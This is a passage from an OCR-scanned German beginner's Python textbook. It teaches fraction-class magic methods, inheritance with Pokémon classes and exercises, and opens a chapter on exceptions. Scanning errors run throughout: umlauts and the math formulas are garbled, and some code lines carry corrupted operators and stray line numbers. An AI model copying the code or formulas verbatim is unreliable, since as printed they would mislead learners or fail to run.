17 return f"{abs(self.zadhler)}/{abs (self.nenner) }"

So, damit waren alle Fdlle abgedeckt. Wir kdnnen nun munter Briiche
erzeugen und mit der print-Funktion ausgeben. Dabei werden nun keine

Speicheradressen mehr angezeigt:

print (Bruch(1,2)) # 1/2
print (Bruch(0,1)) # O
print (Bruch (-1,-3)) # 1/3
print (Bruch(-1,3)) # -1/3
print (Bruch(1,-3)) # -1/3
print (Bruch(7,1)) # 7

. .. a a . . .
Um zwei Briche 7 und 7 voneinander zu subtrahieren, werden die

beiden Nenner miteinander multipliziert, die beiden Zahler Gberkreuz mit



den Nennern multipliziert und die Produkte voneinander subtrahiert:

b

a-d—c-
b-d

S| Q
QUl o

Fur die Subtraktion kommt die magische Methode = sub  zum Einsatz.
Diese erhalt zwei Parameter, namlich einmal die Selbstreferenz self als
Minuenden und other als Subtrahenden:

24 def  sub (self, other) :

Du kannst dir das auch folgendermalien verdeutlichen:

self - other

Innerhalb der magischen Methode berechnen wir mithilfe von self und
other den Zahler und den Nenner des Ergebnisses. Wir nehmen uns
wieder die Mathematik zum Vorbild:

self.zahler - other.nenner — self.nenner - other. zahler

c
— = self — other =
d ! self.nenner - other.nenner

S| Q

Diese Formel missen wir nun nur noch in Python-Code giel3en:
25 zahler = self.zadhler * other.nenner - self.nenner *

other.zahler

26 nenner = self.nenner * other.nenner

Mit den beiden Ergebnissen erzeugen wir nun einen neuen Bruch und
geben ihn zurick:

27 return Bruch (zadhler,nenner)

Um unsere magische Methode zu testen, definieren wir zwei Briiche x =



1 und y = 3 subtrahieren sie voneinander mit einem - und weisen die

Differenz einer Variable z zu, die ebenfalls vom Typ Bruch ist:

x = Bruch (1, 2)
Bruch (1, 3)

zZ =X -y

Wenn wir uns die Variable z nun mithilfe der print-Funktion ausgeben
lassen, dann erhalten wir folgendes Ergebnis:

print (z)
# Ausgabe: 1/6

Die Multiplikation zweier Briiche % und %

und Subtraktion ziemlich leicht. Es werden namlich einfach nur die beiden
Zahler und die beiden Nenner miteinander multipliziert:

ist im Gegensatz zur Addition

Q| o
S
Q.

a
b

Die Multiplikation wird mithilfe der magischen Methode  mul

umgesetzt. Diese erhalt zwei Parameter, namlich einmal die Selbstreferenz
self als ersten Faktor und other als zweiten Faktor:

29 def mul (self, other) :

Du kannst dir das auch folgendermalien verdeutlichen:

self * other

Innerhalb der magischen Methode berechnen wir mithilfe von self und
other den Zahler und den Nenner des Ergebnisses. Und erneut hilft uns
dabei die Mathematik:



self.zahler - other. zahler

= self - other =

Ul o

a
b self.nenner - other.nenner

Diese Formel miissen wir nun nur noch in Python-Code gielRen:

30 zahler = self.zdhler * other.zdhler

31 nenner = self.nenner * other.nenner

Mit den beiden Ergebnissen erzeugen wir nun einen neuen Bruch und
geben ihn zurlck:

32 return Bruch (zdhler,nenner)

Um unsere magische Methode zu testen, definieren wir zwei Briiche x =

1 und y = i, multiplizieren sie mit dem * und weisen das Produkt einer

Variable z zu, die ebenfalls vom Typ Bruch ist:

x = Bruch (1, 2)
y = Bruch (5, 3)
Z =X *y

Wenn wir uns die Variable z nun mithilfe der print-Funktion ausgeben
lassen, dann erhalten wir folgendes Ergebnis:

print (z)
# Ausgabe: 5/6

. L . . a a . . a
Bei der Division zweier Briche 7 und 7 wird der Divisor, also 7,
umgekehrt und die Briiche dann auf die bekannte Art miteinander
multipliziert. Aus der Schule kennst du vielleicht noch den Spruch ,Zwei
Briiche werden dividiert, indem man den ersten Bruch mit dem Kehrwert
des anderen malnimmt*“:



a |
Q
Q.

a ¢ a
b d b

S
a

Die Division wird mithilfe der magischen Methode truediv

umgesetzt. Diese erhalt zwei Parameter, namlich einmal die Selbstreferenz
self als Dividend und other als Divisor:

34 def  truediv  (self,other):

Du kannst dir das auch folgendermalien verdeutlichen:

self / other

Innerhalb der magischen Methode berechnen wir mithilfe von self und
other den Zahler und den Nenner des Ergebnisses. Dabei hilft uns die
Mathematik:

= self +~ other =

d self.zdahler - other.nenner
c

S| Q

a c
b d self.nenner - other.zahler

Diese Formel miissen wir nun nur noch in Python-Code giel3en:

35 zadhler = self.zdhler * other.nenner

36 nenner = self.nenner * other.zadhler

Mit den beiden Ergebnissen erzeugen wir nun einen neuen Bruch und
geben ihn zurlck:

37 return Bruch (zdhler,nenner)

Um unsere magische Methode zu testen, definieren wir zwei Briiche x =

% und y = %, dividieren sie mit dem / und weisen den Quotienten einer



Variable z zu, die ebenfalls vom Typ Bruch ist:

X = Bruch(1l,2)
Bruch (5, 3)
X /y

N
Il

Wenn wir uns die Variable z nun mithilfe der print-Funktion ausgeben
lassen, dann erhalten wir folgendes Ergebnis:

print (z)
# Ausgabe: 3/10

Sehr gut. In unserer aktuellen Implementierung der Bruchklasse gibt es
jedoch noch einen kosmetischen Fauxpas: Die Briiche werden ungekdirzt
ausgegeben. Betrachten wir als Beispiel die folgende Multiplikation:

x = Bruch (2,
y = Bruch (3,
print (x * vy)

# Ausgabe: 6/10

)

5
2)

Als Ergebnis wird uns der Bruch 6/10 ausgegeben. Das ist zwar
mathematisch korrekt, doch schoner ware die geklrzte Version, also 3/5.

a
Einen Bruch ? zu kirzen bedeutet, dass man den Zahler a und den

Nenner b durch den gréBRten gemeinsamen Teiler ggT(a,b) teilt:

a a-+ggT(a,b)

b~ b= ggl(ab)

Flr die Zahlen a = 6 und b = 10 ist 2 der groRte gemeinsame Teiler. Teilen

wir Zahler und Nenner durch diesen Wert, erhalten wir die gekirzte
6 .

Darstellung des Bruchs o
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Den groRten gemeinsamen Teiler kannst du mithilfe der folgenden
Methode berechnen:

53 def  ggt(self,x,y):
54 z = x %S vy

55 if z == 0:

56 return y

57 return self. ggt(y,z)

Da diese Methode nicht ,von aul’en” aufgerufen werden muss, kdnnen wir
sie mit einem doppelten Unterstrich am Anfang des Methodennamens
»schutzen® Ja, das geht nicht nur fur Objektvariablen, sondern auch fir
Methoden. Wenn du im Detail erfahren moéchtest, wie man den grof3ten
gemeinsamen Teiler zweier Zahlen mithilfe des erweiterten euklidischen
Algorithmus berechnen kann, dann kannst du dir das folgende Video
anschauen:

https://florian-dalwigk.com/python-einsteiger/euklidischer_algorithmus

Auf Basis der Methode  ggt kénnen wir nun eine ebenfalls geschutzte
Methode  kiirzen schreiben:

48 def  kiirzen(self):


https://florian-dalwigk.com/python-einsteiger/euklidischer_algorithmus

49 ggT = self. ggt(abs(self.zéhler),abs(self.nenner))

Zuerst wird der groBte gemeinsame Teiler mit der Methode  ggt

berechnet. AnschlieSend teilen wir den Zahler und den Nenner durch das
Ergebnis aus Zeile 49. Zur Berechnung des groliten gemeinsamen Teilers
werden nur positive Zahlen verwendet, weshalb die Parameter
self.zdhler und self.nenner zuerst der Funktion abs lbergeben
werden. Da die Division durch den groflten gemeinsamen Teiler aufgeht
und wir keine Floats als Ergebnis haben mdéchten, verwenden wir die
Integer-Division mit dem // Operator:

50 self.zédhler //= ggT
51 self.nenner //= ggT

Wenn wir die Methode @ kiirzen am Ende der _ init -Methode
aufrufen, dann wird jeder neu erzeugte Bruch direkt gekiirzt:

2 def init (self, zdhler, nenner):
3 self.zdhler = zahler

4 self.nenner = nenner
5

self. kirzen ()

Bei den magischen Methoden fir die Addition, die Subtraktion, die
Multiplikation und die Division von Briichen wurde zum Schluss immer ein
neuer Bruch erzeugt und zuriickgegeben. Dieser liegt wegen Zeile 5 jetzt
automatisch immer in gekiirzter Form vor. Die Multiplikation

X = Bruch (2,5)

y = Bruch (3, 2)
z =X *y

ergibt nun einen gekirzten Bruch, der in der Ausgabe wie folgt aussieht:

print (z)
# Ausgabe: 3/5

Man mochte Briiche aber nicht nur miteinander verrechnen, sondern auch



vergleichen kénnen. Wenn du bspw. wissen willst, ob zwei Briiche — und

b

F gleich sind, wirdest du normalerweise intuitiv den Operator ==

verwenden. Doch auch hier weild Python noch nicht, wann das der Fall ist.
Das miussen wir erst noch in der Klasse definieren. Dazu kann die magische
Methode eqg verwendet werden, die als Parameter die Selbstreferenz
self und die Variable other erhdlt. other ist der Bruch, mit dem self
verglichen werden soll:

39 def eq (self,other):

Der Vergleich sieht vom Prinzip her folgendermaRen aus:

self == other

a C
Zwei Briche — und —
b d

auch die Nenner b und d Ubereinstimmen. Das prifen wir in einem
logischen Ausdruck, dessen Ergebnis wir am Ende zurtickgeben:

sind gleich, wenn sowohl die Zahler a und c, als

40 return self.zdhler == other.zdhler and self.nenner ==
other.nenner

Wenn wir die beiden Briiche % und % miteinander vergleichen, erhalten

wir als Ergebnis logischerweise False:

print (Bruch(1,3) == Bruch(2,5))
# Ausgabe: False

Wenn wir allerdings % mit % vergleichen, dann kommt True heraus:

print (Bruch (1,2) == Bruch(1l,2))
# Ausgabe: True



Dadurch, dass wir die Briiche in Zeile 5 beim Instanziieren direkt kirzen,
sind die beiden folgenden Briiche gleich:

print (Bruch (6,10) == Bruch(3,5))
# Ausgabe: True

Beachte aber, dass auch hier wieder der Unterschied zwischen Gleichheit
und Identitat zu bericksichtigen ist. Zwei instanziierte Briiche mit den
gleichen Werten fir die Zahler und Nenner sind zwar gleich, aber nicht
identisch:

print (Bruch(1,2) is Bruch(1l,2))
# Ausgabe: False

In Einstellungstests findet man manchmal Aufgaben, bei denen zwei
Briiche miteinander verglichen werden und bestimmt werden muss,
welcher von beiden grolRer oder kleiner ist. Dazu kann man bspw. den
Dezimalwert grob abschatzen oder auf die Nenner achten, denn je kleiner
der Nenner ist, desto groRer ist der Bruch. Die Zahler spielen dabei aber
naturlich auch eine wichtige Rolle.

Wir kiimmern uns jetzt um die Implementierung in Python. Dabei helfen
uns die beiden magischen Methoden 1t und gt .Mit 1t

wird der Operator < und mit gt  der Operator > implementiert.
1t  erhdlt zwei Parameter, ndmlich die Selbstreferenz self und die

Variable other, die fur den Bruch steht, mit dem sel f verglichen werden
soll:

42 def 1t (self, other) :

Wir verwenden bei unserer Berechnung den Dezimalwert, d. h. wir teilen
fir beide Briche den Zahler und Nenner und vergleichen die Ergebnisse
dann mit dem < Operator. Das Ergebnis ist ein Wahrheitswert, der

zuruckgegeben wird:

43 return self.zahler/self.nenner < other.zadhler/other.nenner



Analog kann der > Operator umgesetzt werden:

45 def gt (self,other):

46 return self.zdhler/self.nenner > other.zdhler/other.nenner

Hier sind ein paar Beispiele fir die Anwendung der beiden
Vergleichsoperatoren < und >:

print (Bruch(1,2) < Bruch(3,4)) # True
print (Bruch(3,5) > Bruch(4,5)) # True
print (Bruch(2,7) < Bruch(2,9)) # False
print (Bruch (-1,3) > Bruch(-2,9)) # True
print (Bruch(1,-2) < Bruch(1,2)) # True
print (Bruch (0,2) < Bruch(0,5)) # False
13.5 Vererbung

Kehren wir nach unserem kleinen Abstecher ins ,Hogwarts der Python-
Programmierung” nun wieder zuriick ins , Pokémon-Universum® Bisher
haben wir die Typen der Pokémon wie bspw. Wasser, Feuer und Elektro
beim Instanziieren als String-Parameter mitgegeben. Zur besseren
Strukturierung ware es allerdings sinnvoller, wenn wir verschiedene
Klassen flr z. B. Wasserpokémon, Elektropokémon und Feuerpokémon
vorsehen. Und genau hier kommt das Prinzip der Vererbung ins Spiel. Wir
Uberlegen uns, was alle Pokémon gemeinsam haben und entwickeln dann
Spezialisierungen des Datentyps Pokemon, die allesamt Eigenschaften der
Superklasse Pokemon erben, sodass wir nicht jedes Mal das Rad neu
erfinden und eine vollstindige Pokémon-Klasse entwickeln miussen.
Dadurch sparen wir uns das Kopieren von Code und unsere Anwendung
wird so wesentlich Gbersichtlicher.

Das Ziel dieses Kapitels wird es sein, neben dem allgemeinen Datentyp
Pokemon, drei weitere Typen, namlich Wasserpokemon,
Elektropokemon und Feuerpokemon zu entwickeln, die fir sich

genommen Pokémon sind, aber ein spezielles Verhalten zeigen. Die
folgende Abbildung zeigt dabei die Vererbungsbeziehung:



Wasserpokemon Feuerpokemon

Elektropokemon abgeleitete Klassen

Abbildung 13.5.1: Vererbungsbeziehungen von Pokemon, Wasserpokemon, Elektropokemon
und Feuerpokemon

Die Klasse Pokemon, von der die sogenannten abgeleiteten Klassen
Wasserpokemon, Elektropokemon und Feuerpokemon erben,

nennt man Superklasse. Die Darstellung mit Pfeilen in Abbildung 13.5.1 ist
typisch fir die objektorientierte Modellierung. Von der abgeleiteten Klasse
lauft ein Pfeil zur Superklasse, von der Objektvariablen und Methoden
geerbt werden.

Schauen wir uns das am besten mal in der Praxis an. Dazu betrachten wir
die in Kapitel 13.4 entwickelte Klasse Pokemon. Allerdings libergeben wir
jetzt nicht mehr den Typ des Pokémons als String-Parameter, sondern
definieren innerhalb der ~ init -Methode eine geschitzte
Objektvariable, die als St ring standardmaRig den Wert Pokémon erhalt:

class Pokemon:

def init (self,name,nr,gréRle,gewicht, trainer):
self. name = name

self. nr = nr

self. grobe = grobe
self. gewicht = gewicht

self. trainer = trainer

self. Ilebenspunkte = 20

O 00 N O Ul B W N B

self. typ = "Pokémon"



Um von auBen auf die geschiitzten Objektvariablen zugreifen zu kdénnen,
definieren wir entsprechende Schnittstellenmethoden:

11 def get name(self):

12 return self. name

13

14 def get nr(self):

15 return self. nr

16

17 def get groBe(self):
18 return self. groBe

19

20 def get gewicht (self):
21 return self. gewicht
22

23 def get trainer (self):
24 return self. trainer
25

26 def get typ(self):

27 return self. typ

28

29 def get lebenspunkte (self):

30 return self. lebenspunkte

Mit der Methode einstecken kann ein Pokémon Schaden nehmen, d. h.
der Wert der geschitzten Objektvariable  lebenspunkte wird
verringert:

32 def einstecken(self, schaden):

33 self. lebenspunkte -= schaden

Mit der Methode angreifen kbénnen sich Pokémon gegenseitig
attackieren und Schaden verursachen:

35 def angreifen(self, gegner, schaden):

36



gegner.einstecken (schaden)

In der Klasse Pokemon haben wir nun erstmal alle Eigenschaften
(Objektvariablen) und Fahigkeiten (Methoden) festgelegt, die allgemein ein
Pokémon charakterisieren. Das alles soll spater auch an die speziellen
Pokémon-Typen wie Wasserpokémon, Elektropokémon und
Feuerpokémon vererbt werden. Wie in der Biologie, entsteht hierbei nicht
einfach nur eine exakte Kopie, sondern ein eigenstandiges Lebewesen, bei
dem sich die Eigenschaften und Fahigkeiten von der Mutterklasse?
unterscheiden kdnnen.

Wir implementieren als erstes die Klasse Wasserpokemon, die von der
Klasse Pokemon erbt. Um Python die Vererbungsbeziehung mitzuteilen,
schreiben wir bei der Klassendefinition hinter den Klassennamen
Wasserpokemon in runden Klammern den Namen der Klasse, von der
geerbt werden soll, hier also Pokemon:

38 class Wasserpokemon (Pokemon) :

Wir bendtigen keine  init -Methode, weil sie von der Superklasse
Pokemon geerbt wird, d. h. wir kdnnen ein Wasserpokemon genauso
erzeugen wie ein Pokemon, nur dass sich der Klassenname andert. Es
werden Ubrigens auch alle anderen Methoden, mit denen wir die
geschiitzten Objektvariablen auslesen kénnen, mitvererbt. Wenn wir uns
spater also bspw. ein Schiggy vom Typ Wasserpokemon erzeugen, dann
kénnen wir uns mit get name den Namen, mit get nr die Nummer im

Pokédex, get groBe die GroRe usw. anzeigen lassen:

schiggy = Wasserpokemon ("Schiggy", 7, 0.5, 9, "Misty")
print (schiggy.get name () )
# Ausgabe: Schiggy

Aktuell haben wir aber noch ein Problem: Wenn wir die Methode
get typ auf unserem Schiggy aufrufen, dann wird uns als Typ nur
allgemein ,Pokémon” ausgegeben, obwohl Schiggy ein Objekt vom Typ
Wasserpokemon ist. Das liegt an der Methode get typ in Zeile 26, die



die geschutzte Objektvariable  typ mit dem Wert Pokémon in Zeile 9

zurtickgibt. Mit Vererbung ist es allerdings moglich, von der Superklasse
geerbte Methoden zu Uiberschreiben. Dazu definieren wir sie innerhalb der
Klasse Wasserpokemon einfach neu und andern ihr Verhalten. Wenn die

Methode get typ aufgerufen wird, soll einfach Wasserpokémon
zuruckgegeben werden:

39 def get typ(self):

40 return "Wasserpokémon"

Wenn wir uns jetzt ein Wasserpokemon erzeugen und uns mit
get typ den Typ ausgeben lassen, dann wird uns korrekterweise
Wasserpokémon angezeigt:

schiggy = Wasserpokemon ("Schiggy”, 7, 0.5, 9, "Misty”)

print (schiggy.get typ())
# Ausgabe: Wasserpokémon

Da Pokémon eines speziellen Typs auch unterschiedliche Attacken haben,
wollen wir die Methode angreifen aus der Superklasse Uberschreiben
und zusatzlich zu dem eigentlichen Angriff den Kampfschrei
Wasserattacke! ausgeben:

42 def angreifen(self,gegner, schaden) :

43 print ("Wasserattacke!")

Okay, doch aktuell wiirde die Methode angreifen nichts anderes machen,
als den String Wasserattacke! auszugeben. Es soll ja trotzdem das

gegnerische Pokémon angegriffen werden. Nun, auch dafiir gibt es eine
Losung: Wir rufen nach der print-Anweisung in Zeile 43 die Methode

angreifen der Superklasse Pokemon auf. SchlieBlich ist dort bereits
eine Methode angreifen definiert, die genau das macht, was wir
wollen. Doch wie greift man auf Methoden der Superklasse zu? Dafir gibt
es in Python die Funktion super, mit der ein Proxy-Objekt instanziiert
wird. Dieses tempordre Objekt der Superklasse stellt quasi eine
Schnittstelle flir abgeleitete Klassen zur Verfigung. Auf diesem Proxy-




Objekt vom Typ Pokemon kdnnen wir dann die Methode angreifen
aufrufen und die Parameter gegner wund schaden einfach
weiterreichen:

44 super () .angreifen (gegner, schaden)

Die folgende Abbildung zeigt noch einmal die Beziehung zwischen der
Superklasse Pokemon und Wasserpokemon:

» Pokemon

| def angreifen (self,gegner, schaden) :«
' gegner.einstecken (schaden)

Wasserpokemon

def angreifen(self,gegner, schaden) :
print ("Wasserattacke")
super () .angreifen (gegner, schaden)

Abbildung 13.5.2: Beziehung zwischen der Superklasse Pokemon und Wasserpokemon

Vollig analog kénnen wir von der Superklasse Pokemon die Klasse
Feuerpokemon ableiten:

46 class Feuerpokemon (Pokemon) :
47 def get typ(self):

48 return "Feuerpokémon"

49

50 def angreifen(self,gegner, schaden) :



51 print ("Feuerattacke!™)

52 super () .angreifen (gegner, schaden)

Du kannst das Spiel jetzt fiir jeden beliebigen Pokémon-Typ fortsetzen, so
z.B.auch fir Elektropokemon:

46 class Elektropokemon (Pokemon) :

47 def get typ(self):

48 return "Elektropokémon"

49

50 def angreifen(self,gegner, schaden) :
51 print("Elektroattacke!")

52 super () .angreifen (gegner, schaden)

Um zu Uberprifen, ob unsere Logik mit der von Python Ubereinstimmt,
erzeugen wir uns beispielhaft ein Wasserpokémon und ein Feuerpokémon,
die wir dann gegeneinander kampfen lassen:

schiggy = Wasserpokemon ("Schiggy",7,0.5,9,"Misty")
glumanda = Feuerpokemon ("Glumanda",7,0.6,8.5,"Ash")
schiggy.angreifen (glumanda, 7)

Sobald Schiggy mit der Methode angreifen Glumanda attackiert und 7
Schadenspunkte verursacht, wird der Kampfschrei Wasserattacke!
ausgegeben. Die Lebenspunkte wurden Glumanda tatsachlich abgezogen,
was wir mit der Methode get lebenspunkte lUberprifen kénnen:

print (glumanda.get lebenspunkte ())
# Ausgabe: 13

Setzt Glumanda mit angreifen zum Gegenschlag an, dann wird
Feuerattacke! ausgegeben:

glumanda.angreifen (schiggy, 3)
# Ausgabe: Feuerattacke!



Du kannst die Klassen auch in einzelnen Dateien speichern und dann bei
Bedarf importieren. Das funktioniert vollig analog zu dem Import von
Modulen (Kapitel 6.4).

13.6 Ubungsaufgaben

@ Was sind die Vorteile der objektorientierten Programmierung? Wann
sollte man sie nutzen?

@ Gegeben sei die folgende Pokémon-Klasse:

class Pokemon:
def init (self,name,nr,gréfe,gewicht, trainer, typ):
self. name = name

self. nr = nr

self. gewicht gewicht

trainer

1

2

3

4

5 self. groéBe = grole
6

7 self. trainer
8 self. typ = typ

9

10 def eq (self,other):

11 return self. name == other. name

Welche Ausgabe erzeugt das folgende Programm?

13 schiggy = Pokemon ("Schiggy", 7, 0.5, 9, "Ash", "Wasser")

14 pikachul = Pokemon ("Pikachu", 25, 0.41, 6, "Ash", "Elektro")
15 pikachu2 = pikachul

16 pikachu3 = Pokemon ("Pikachu", 25, 0.35, 5, "Max", "Elektro")
17 glumanda = Pokemon ("Schiggy", 4, 0.61, 8.5, "Ash", "Feuer")
18

19 print (schiggy == pikachul)

20 print (schiggy == schiggy)

21 print(schiggy is schiggy)

22



print (pikachul == pikachu?2)
23 print (pikachu2 is pikachul)
24 print (glumanda is glumanda)
25 print (glumanda == schiggy)
26 print (glumanda is schiggy)
27 print (pikachul == pikachu3)
28 print (pikachul is pikachu3)

@ Erweitere die Pokémon-Klasse aus Aufgabe @ so, dass beim
Instanziieren eines Pokémons mit dem Namen X Folgendes ausgegeben
wird:

X, X!

Wenn du ein Pokémon mit dem Namen Schiggy instanziierst, dann soll
bspw. die folgende Meldung erscheinen:

Schiggy, Schiggy!

Eine Ausnahme ist das Pokémon Pikachu. Fiur dieses Pokémon soll die
folgende Ausgabe beim Instanziieren erscheinen:

Pika, Pika!

@ Schreibe fir die folgende Konto-Klasse eine magische Methode, durch
die zwei Objekte mithilfe des == Operators auf Gleichheit Uberprift
werden konnen:

class Konto:

def init (self, kontoinhaber, kontonummer,betrag) :
self. kontoinhaber = kontoinhaber

self. kontonummer = kontonummer

1

2

3

4

5 self. betrag = betrag

6

7 def abheben (self,betraqg):
8

if self. betrag - betrag < 0:



9 print("Der Betrag kann nicht abgehoben werden.")
10 else:

11 self. betrag -= betrag

12 print (f"Es wurden {betrag}€ abgehoben.")

13 print (f"Aktueller Kontostand: {self. betrag}€e")
14

15 def einzahlen(self,betragqg):

16 if betrag > O:

17 self. Dbetrag += betrag

18 print (f"Es wurden {betrag}€ eingezahlt.")

19 print (f"Aktueller Kontostand: {self. betrag}€e")
20 else:

21 print("Es kann kein negativer Betrag eingezahlt werden.")

Zwei Objekte dieser Klasse sind gleich, wenn alle Objektvariablen gleich
sind.



@ Gib fir jede Zeile an, ob eine Methode oder eine Funktion aufgerufen
wird:

1 len([1,2,3,4,5])

2 "Hallo Python!".index('y"')

3 ["Amina","Aurelia","Anna"].count ('A")
4 random.shuffle([4,8,15,16,23,42])

5 print ("Hallo Python!")
6 math.sgrt (9)
7 {}.clear ()
8

set () .add (0)

@ Gegeben sei die folgende Konto-Klasse:

class Konto:

def init (self,kontoinhaber, kontonummer, betrag) :

1

2

3 self. kontoinhaber = kontoinhaber
4 self. kontonummer = kontonummer

5

self. Dbetrag = betrag

Schreibe eine Methode get info, mit der der Kontoinhaber und die
Kontonummer ausgelesen werden kdnnen. Auf den Geldbetrag, der sich
auf dem Konto befindet, darf nicht Gber diese Schnittstelle zugegriffen
werden. Als Parameter erhadlt die Methode einen Schlissel. Mit dem
Schlissel Kontoinhaber wird der Kontoinhaber und mit
Kontonummer die Kontonummer ausgelesen. Alle anderen Schlissel
werden mit der Meldung Es wurde keine passende
Information gefunden! abgewiesen und kein Wert zuriickgegeben.

@ Gegeben sei die folgende Pokémon-Klasse:

class Pokemon:

def init (self,name,nr,grdBe,gewicht, trainer, typ) :

1
2
3 print(f"{name}, {name}!")
4 self. name = name

5

self. nr = nr



6 self. grobe = grobe

7 self. gewicht = gewicht

8 self. trainer = trainer

9 self. typ = typ

10 self. lebenspunkte = 20

11

12 def get lebenspunkte (self):

13 return self. lebenspunkte

Schreibe eine Methode lebenspunkte tbertragen, die als
Parameter ein Pokémon und eine Anzahl an Lebenspunkten erhalt. Diese
wird bspw. wie folgt aufgerufen:

schiggy Pokemon ("Schiggy", 7, 0.5, 9, "Ash", "Wasser")

pikachu Pokemon ("Pikachu", 25, 0.41, 6, "Ash", "Elektro")

schiggy.lebenspunkte iubertragen (pikachu, 5)

Nach dem Aufruf der Methode soll das Schiggy 15 Lebenspunkte und das
Pikachu 25 Lebenspunkte haben. Beachte, dass die Objektvariable
__lebenspunkte geschitzt ist, d. h. du musst zusdtzlich zwei
Methoden lebenspunkte erhohen und
lebenspunkte verringern schreiben, mit denen die Anzahl der

Lebenspunkte modifiziert werden kann. Ein Pokémon kann die gewiinschte
Anzahl an Lebenspunkten aber nur dann Ubertragen, wenn danach noch
mindestens ein Lebenspunkt Gbrigbleibt. Ansonsten wird die Meldung Die

Lebenspunkte konnen nicht ubertragen werden!
ausgegeben.

Gegeben sei der folgende Auszug der in Kapitel 13.4 entwickelten Klasse
Bruch:

class Bruch:

def init (self, zahler, nenner):
= zahler
self.nenner = nenner

1
2
3 self.zdhler
4
5

self. kiurzen()



6
7 def  str (self):

8 if self.zahler == O:

9 return "O"

10 elif self.nenner == O:

11 return "Dieser Bruch ist nicht definiert!"

12 elif self.nenner == 1:

13 return str(self.zahler)

14 elif (self.zdhler < 0) » (self.nenner < 0):

15 return f"-{abs(self.zdhler)}/{abs(self.nenner) }"
16 else:

17 return f"{abs(self.zahler)}/{abs(self.nenner)}"

Entwickle eine Methode kehrbuch, die den Zdhler und den Nenner

a
tauscht. Aus ? soll also der Bruch L werden.
a

@ Verwende die magische Methode  pow  (self, exponent), mit

der man das Verhalten des ** Operators implementieren kann. Dadurch

soll es moglich werden, Briiche zu potenzieren. Allgemein gilt:

Gegeben seien die folgenden Klassen, die in
Vererbungsbeziehung zueinander stehen:

class Tier:

def init (self,name):
self.name = name
self.tierart = "Tier"

def  str (self) :

return f"{self.name} ist ein {self.tierart}."

einer



9 def reden(self):

10 print("...")

11

12 class Hund(Tier) :

13 def init (self,name):
14 self.name = name

15 self.tierart = "Hund"

16

17 def reden (self) :

18 print ("Wuff, wuff!")
19

20 class Ente (Tier) :

21 pass

22

23 class Robbe (Tier) :

24 def  init (self,name):
25 super(). init (name)
26 self.tierart = "Robbe"
27

28 def reden(self):
29 print ("Ow, ow!")

Wir definieren uns nun ein paar Tiere:

31 benni = Tier ("Benni")

32 maya = Hund ("Maya")

33 robin = Robbe ("Robin")

34 darkwing = Ente ("Darkwing")

Wie lautet die Ausgabe des Programms?

36 print (benni)
37 print (maya)
38 print (robin)
39 print (darkwing)
40 benni.reden ()

41



robin.reden ()
42 darkwing.reden ()

43 maya.reden ()

In der folgenden Playlist findest du die Lésungen zu den Ubungsaufgaben
aus diesem Kapitel:

https://florian-dalwigk.com/python-einsteiger/I%C3%B6sungen_kapitel13


https://florian-dalwigk.com/python-einsteiger/l%C3%B6sungen_kapitel13

14 Fehler und Ausnahmen

»lrren ist menschlich.” Das wusste bereits der Philosoph Seneca. Heute, ca.
2000 Jahre spater, hat sich daran auch im Bereich der Programmierung
nichts geandert. Menschen machen Fehler und wieso sollte sich das nicht
in den Programmen, die sie schreiben, widerspiegeln? Statt den Kopf in
den Sand zu stecken, werden wir uns in diesem Kapitel mit der Frage
beschaftigen, wie man beim Programmieren auf diese Fehler reagieren
kann. Eine sogenannte Ausnahme ist dabei ein Fehler, der wahrend der
Ausfiihrung eines Python-Programms auftritt. In Kapitel 14.1 klaren wir
zuerst einmal, welche Fehler haufig auftreten und weshalb sie tGberhaupt
behandelt werden miussen. In Kapitel 14.2 beschaftigen wir uns dann mit
den beiden Keywords try und except, mit denen Ausnahmen
abgefangen und behandelt werden konnen. In Kapitel 14.3 lernst du, wie
man mit dem Keyword finally, unabhangig davon, ob eine Ausnahme
aufgetreten ist oder nicht, einen bestimmten Codeblock auf jeden Fall
ausfihren kann. Wie du eigene Ausnahmen definieren und in einem
Python-Programm verwenden kannst, erfahrst du in Kapitel 14.4. Darum
wird es u. a. auch bei den Ubungsaufgaben in Kapitel 14.5 gehen.

14.1 Warum miissen Fehler und Ausnahmen -
behandelt werden?

In diesem Buch hast du bereits eine Vielzahl an Fehlern gesehen, die haufig
beim Programmieren gemacht werden. Das waren vor allem Syntaxfehler,
die dafiir gesorgt haben, dass du dein Programm nicht starten konntest.
Python hat in solchen Fallen nicht verstanden, was du meinst, weil sich
z. B. irgendwo eine zusatzliche Klammer eingeschlichen hat. Im Deutschen
ware so ein Syntaxfehler bspw. der Satz ,Ich . nicht weiR“, weil ein Punkt
fir gewohnlich nur am Satzende auftaucht. Es gibt aber auch Fehler, die



erst zur Laufzeit des Programms auftreten und deshalb , Laufzeitfehler”
genannt werden. In solchen Fallen liegt eine sogenannte Ausnahme (engl.
Exception) vor. Die folgenden Exceptions sind dir in den vorherigen
Kapiteln bereits begegnet:¥

[ SyntaxError (Exception)

[l IndentationError (Exception)
[l IndexError (Exception)

[l KeyError (Exception)

[l ValueError (Exception)

[l ZeroDivisionError (Exception)

Man sagt Ubrigens, dass Exceptions ,geworfen“ werden. Wir werden nun
nacheinander diese Exceptions durchgehen und an jeweils einem Beispiel
demonstrieren.

Eine SyntaxError Exception wird immer dann geworfen, wenn du

gegen die Syntaxregeln von Python verst6l3t. Das kann bspw. ein fehlendes
Hochkomma oder eine lberflissige Klammer sein.

Beispiel 14.1.1: Gegeben sei eine Liste, von der mithilfe der Funktion
len die Anzahl der darin erhaltenen Elemente bestimmt werden soll:

1 namen = ["Fabian", "Maria", "Ayumi"]

2 len (namen))

In Zeile 2 ist eine geschlossene Klammer ) zu viel gesetzt worden. Damit
wird gegen die Syntax von Python verstolRen, was eine SyntaxError
Exception zufolge hat:

SyntaxError: unmatched ')'

Eine Spezialisierung der SyntaxError  Exception ist eine
IndentationError Exception, die vor allem bei Anfiangern haufig

auftritt. Damit ist gemeint, dass die Code-Einrlickung fehlerhaft ist und du
bspw. irgendwo einen Tab oder ein Leerzeichen vergessen hast.

Beispiel 14.1.2: Gegeben sei die folgende Funktion, mit der eine Person
gegrildt werden kann:



1 def hallo (name) :
2 print(f"Hallo {name}!")
3 hallo("Eva")

In Zeile 2 fehlt ein Tab bzw. ein Leerzeichen, denn der Code, der in einer
Funktion steht, muss eingerilickt werden. Fiihrt man diesen Code aus, wird
eine IndentationError Exception ausgeldst:

IndentationError: expected an indented block

Dass die IndentationError Exception als ein Sonderfall der
SyntaxError Exception angesehen wird, liegt in der hierarchischen
Struktur von Exceptions in Python begriindet, die durch Vererbung
abgebildet wird. Die folgende Abbildung zeigt ausschnitthaft, wie die in
diesem Kapitel thematisierten Exceptions zusammenhangen:

BaseException
'y
